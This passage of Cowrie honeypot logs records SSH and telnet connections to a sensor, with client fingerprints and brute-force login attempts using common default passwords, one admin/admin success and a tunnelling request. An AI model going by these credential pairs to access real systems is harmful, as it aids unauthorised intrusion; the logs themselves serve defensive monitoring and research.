],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:46.148059Z","src_ip":"103.77.175.15","session":"0164f1b4ea43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iuytrewq","message":"login attempt [root/iuytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:46.932190Z","src_ip":"103.77.175.15","session":"0164f1b4ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:48.196220Z","src_ip":"103.77.175.15","session":"0164f1b4ea43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27538,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b99c1d308d0","protocol":"ssh","message":"New connection: 87.251.64.176:27538 (10.17.0.5:22) [session: 5b99c1d308d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:48.817834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:48.823277Z","src_ip":"87.251.64.176","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:48.921561Z","src_ip":"87.251.64.176","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:49.211071Z","src_ip":"87.251.64.176","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:49.308768Z","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:49.414294Z","src_ip":"87.251.64.176","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:49.512583Z","src_ip":"87.251.64.176","session":"5b99c1d308d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":51328,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b72f1b85f5","protocol":"ssh","message":"New connection: 207.154.230.149:51328 (159.203.135.109:22) [session: a6b72f1b85f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:50.268180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:50.272257Z","src_ip":"207.154.230.149","session":"a6b72f1b85f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:50.351112Z","src_ip":"207.154.230.149","session":"a6b72f1b85f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty123","message":"login attempt [root/azerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:50.702116Z","src_ip":"207.154.230.149","session":"a6b72f1b85f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.667607545852661,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:50.991173Z","src_ip":"67.149.112.208","session":"6c80b7608f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:51.786034Z","src_ip":"207.154.230.149","session":"a6b72f1b85f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47354,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b0b99d281de","protocol":"telnet","message":"New connection: 192.119.13.58:47354 (10.17.0.5:23) [session: 8b0b99d281de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:02:52.419618Z"}
{"eventid":"cowrie.session.closed","duration":42.39445686340332,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:16.370774Z","src_ip":"192.119.13.58","session":"61f821da49c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":40254,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba69f95112e","protocol":"ssh","message":"New connection: 141.11.21.145:40254 (159.203.135.109:22) [session: 9ba69f95112e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:22.892851Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:22.969722Z","src_ip":"141.11.21.145","session":"9ba69f95112e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":40260,"dst_ip":"159.203.135.109","dst_port":22,"session":"5168887bc061","protocol":"ssh","message":"New connection: 141.11.21.145:40260 (159.203.135.109:22) [session: 5168887bc061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:23.047040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:23.051958Z","src_ip":"141.11.21.145","session":"5168887bc061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:23.130564Z","src_ip":"141.11.21.145","session":"5168887bc061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ascend","password":"ascend","message":"login attempt [ascend/ascend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:23.368114Z","src_ip":"141.11.21.145","session":"5168887bc061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.338788270950317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:23.758261Z","src_ip":"192.119.13.58","session":"8b0b99d281de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:24.449655Z","src_ip":"141.11.21.145","session":"5168887bc061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":60052,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ee8f013c22","protocol":"ssh","message":"New connection: 119.28.117.200:60052 (159.203.135.109:22) [session: a3ee8f013c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:28.852563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:28.856451Z","src_ip":"119.28.117.200","session":"a3ee8f013c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:29.101768Z","src_ip":"119.28.117.200","session":"a3ee8f013c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":40474,"dst_ip":"159.203.135.109","dst_port":22,"session":"160b2559ca02","protocol":"ssh","message":"New connection: 163.227.230.54:40474 (159.203.135.109:22) [session: 160b2559ca02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:29.749364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:29.754703Z","src_ip":"163.227.230.54","session":"160b2559ca02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:29.993617Z","src_ip":"163.227.230.54","session":"160b2559ca02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elemental","message":"login attempt [root/elemental] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:30.116203Z","src_ip":"119.28.117.200","session":"a3ee8f013c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:30.980122Z","src_ip":"163.227.230.54","session":"160b2559ca02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:31.364525Z","src_ip":"119.28.117.200","session":"a3ee8f013c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:32.221018Z","src_ip":"163.227.230.54","session":"160b2559ca02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":47424,"dst_ip":"159.203.135.109","dst_port":22,"session":"7115850c3156","protocol":"ssh","message":"New connection: 43.153.0.59:47424 (159.203.135.109:22) [session: 7115850c3156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:36.880899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:36.885725Z","src_ip":"43.153.0.59","session":"7115850c3156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:36.954383Z","src_ip":"43.153.0.59","session":"7115850c3156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnson","message":"login attempt [root/johnson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:37.264800Z","src_ip":"43.153.0.59","session":"7115850c3156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2582862ccf","protocol":"telnet","message":"New connection: 192.119.13.58:37108 (10.17.0.5:23) [session: ec2582862ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:38.321504Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:38.337005Z","src_ip":"43.153.0.59","session":"7115850c3156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59346,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7f2502da88","protocol":"ssh","message":"New connection: 103.183.114.55:59346 (159.203.135.109:22) [session: bb7f2502da88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:39.021981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:39.026658Z","src_ip":"103.183.114.55","session":"bb7f2502da88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:39.244681Z","src_ip":"103.183.114.55","session":"bb7f2502da88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bullet","message":"login attempt [root/bullet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:39.900406Z","src_ip":"103.183.114.55","session":"bb7f2502da88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":43986,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ab594769e9b","protocol":"ssh","message":"New connection: 115.178.75.242:43986 (159.203.135.109:22) [session: 2ab594769e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.283458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:03:40.288308Z","src_ip":"115.178.75.242","session":"2ab594769e9b","protocol":"ssh"}
